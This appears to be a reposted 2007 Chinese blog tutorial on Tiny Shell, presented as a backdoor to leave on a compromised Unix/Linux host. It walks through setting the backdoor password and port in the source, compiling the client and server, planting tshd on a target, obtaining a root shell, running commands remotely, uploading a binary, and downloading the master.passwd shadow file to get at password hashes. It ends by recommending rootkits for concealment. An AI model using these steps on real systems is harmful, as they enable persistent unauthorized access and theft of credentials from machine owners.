Unix/Linux系統下輕量級Shell工具(轉)

BSDLite發表於2007-08-12
Unix/Linux系統下輕量級Shell工具(轉)[@more@]  一,前言

  隨著網際網路的發展,使用Unix/Linux系統的越來越多,而入侵一臺Unix/Linux系統也不再是什麼難事了。通常,在入侵成功之後,都會留一個或幾個後門,以便再次進入;對於Unix/Linux系統,後門的種類比較多,初級的有修改“.rhosts”檔案,複製一個Shell到一個隱藏目錄,修改etc/passwd檔案加使用者等手段。較高階的莫屬使用核心模組後門(Rootkit)了,它是Unix/Linux系統下最高階別的後門,也許最具有隱蔽性的,但今天我並不說Rootkit,因為它的使用過於複雜,對沒有Unix/Linux系統使用經驗的人來說,更是難以駕御。而Tiny Shell作為一款執行於Unix/Linux系統下的輕量級Shell工具,不僅小巧,還支援另外一些不錯的功能,具體請看下文。 

  二,應用

  1,Tiny Shell簡介

  Tiny Shell是一款輕量級的標準遠端Shell工具,可以提供遠端執行命令(包括:Rlogin,Telnet,Ssh等)和檔案傳輸功能(上傳、下載),支援單位元組,完全支援Pseudo-Terminal Pairs(pty/tty)等偽終端。並使用強大的160-bit RC4加密,以躲避嗅探器的檢測具備AES-128 + HMAC-SHA1的強大加密和認證。支援FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系統。   

  2,Tiny Shell應用

  測試環境:

  本地:OpenBSD 3.4 IP:192.168.0.40

  目標:FreeBSD 4.9 STABLE IP:192.168.0.20  

  首先下載Tiny Shell,解壓縮後修改原始碼,以求該工具更能符合我們的要求。

  #fetch

  #tar zxvf tsh-0.6.tgz

  #cd tsh-0.6

  #ls

  ChangeLog README aes.h pel.h sha1.h tsh.h

  Makefile aes.c pel.c sha1.c tsh.c tshd.c

  #vi tsh.h

  char *secret = "replace with your password";

  //連線後門的密碼,我修改為dahubaobao。這個後門的主程式是tsh.c,先看看下邊的原始碼

  if( password == NULL )

   {

   /* 1st try, using the built-in secret key */

  ret = pel_client_init( server, secret );

  if( ret != PEL_SUCCESS )

   {

   close( server );

  /* secret key invalid, so ask for a password */

  password = getpass( "Password: " );

  goto connect;

   }

   }

  //重點在這裡:ret = pel_client_init( server, secret );

  把secret變數作為了引數,也就是連線後門所需要的密碼。現在知道為什麼修改tsh.h了吧。

  

  #define SERVER_PORT 7586

  //後門簡聽的埠,任意修改

  

  if( argc == 5 && ! strcmp( argv[2], "get" ) )

  {

   action = GET_FILE;

  }

  if( argc == 5 && ! strcmp( argv[2], "put" ) )

  {

   action = PUT_FILE;

  }

  //該後門並沒有幫助資訊,所以檢視這裡得知Get為下載,Put為上傳。當然,如果你喜歡,可以自行修改。另外,如果你想該後門輸出幫助資訊,可以自己新增一個Printf語句來輸出幫助資訊。這裡給出一個最簡單的方法,我們在不加引數的情況下執行./tsh的時候,會提示gethostbyname failed.,然後檢視原始碼,找到fprintf( stderr, "gethostbyname failed. " );這句程式碼,聰明的你也許想到了,就是修改gethostbyname failed.為你想要的幫助資訊,這樣,在執行./tsh的時候,就會自動輸出幫助資訊了。呵呵,也算一種變相修改吧。下面開始編譯原始碼。

  #make

  Please specify one of these targets:  

  make linux

  make freebsd

  make openbsd

  make netbsd

  make cygwin

  make sunos

  make irix

  make hpux

  make osf

  #make openbsd

  //根據你的系統做相應的選擇,10秒鐘就編譯好了。

  然後,會在當前目錄下生成兩個可執行檔案,一個客戶端,一個服務端,分別為:tsh,tshd。現在將tshd複製到目標系統(FreeBSD),然後執行./tshd完成安裝。為了更清楚的表示我使用的環境,所以回到本地執行id命令,得知該使用者的UID=1000,是普通使用者;現在使用./tsh 192.168.0.20來接連目標主機(為了測試方便,我就不加密碼了),好,現在我們獲得了一個Root許可權的Shell,再使用id命令(注意,這是在目標主機上),可以看到UID=0了,這可是Root許可權哦!執行uname ?Ca命令,回顯為FreeBSD系統,可見已經成功連線後門並登陸了。另外,該後門還可以在連線的時候插入Shell命令,語法為./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,這條命令的意思是連線192.168.0.20目標主機,接著執行cat etc/passwd命令,這樣,目標主機的passwd檔案我們就一覽無餘了。但要注意,使用這種形式並沒有登陸目標主機,只是連線目標主機,然後插入一個Shell命令而已。  

  現在我們來看看上傳、下載的使用方法。從原始碼中知道,上傳的關鍵字為Put,下載的關鍵字為Get。好,先來看看如何上傳檔案,執行“./tsh 192.168.0.20 put 檔名 目標主機目錄”即可完成上傳,但要注意,檔案要在當前目錄下,也就是和tsh在同一個目錄下。我上傳的一個back的二進位制檔案,使用./tsh 192.168.0.20 put back /,這條命令是將back檔案上傳目標根目錄,然後我再使用./tsh 192.168.0.20連線到目標主機,ls檢視back是否已經上傳到了對方主機,呵呵,還不錯吧!在來看下載檔案,它的語法為“./tsh 192.168.0.20 get 目標檔案 本地目錄”,現在我們來獲得其最敏感的檔案----master.passwd(影子檔案,也就是Linux系統下的shadow檔案)。執行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思為下載目標主機的master.passwd檔案到本地的/home/dahubaobao目錄,然後使用ls檢視,可以看見已經將對方的master.passwd下載到了本地,再vi master.passwd,哈哈,使用者的加密密碼近在眼前。提示,FreeBSD的使用者密碼是採用MD5加密的。  

  小結

  Tiny Shell作為一款小型的Shell工具,絲毫不遜於其他同類的Shell工具,而且支援大部分的Unix/Linux系統,絕對值得一試。當然,這款後門很不隱蔽,我們可以結合Rootkit來加固(Rootkit中也提供Shell工具,但無法和Tiny Shell相比,不信你可以自己試試),Rootkit的使用可以去google找答案,在此就不多說了。

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617542/viewspace-950106/,如需轉載,請註明出處,否則將追究法律責任。

相關文章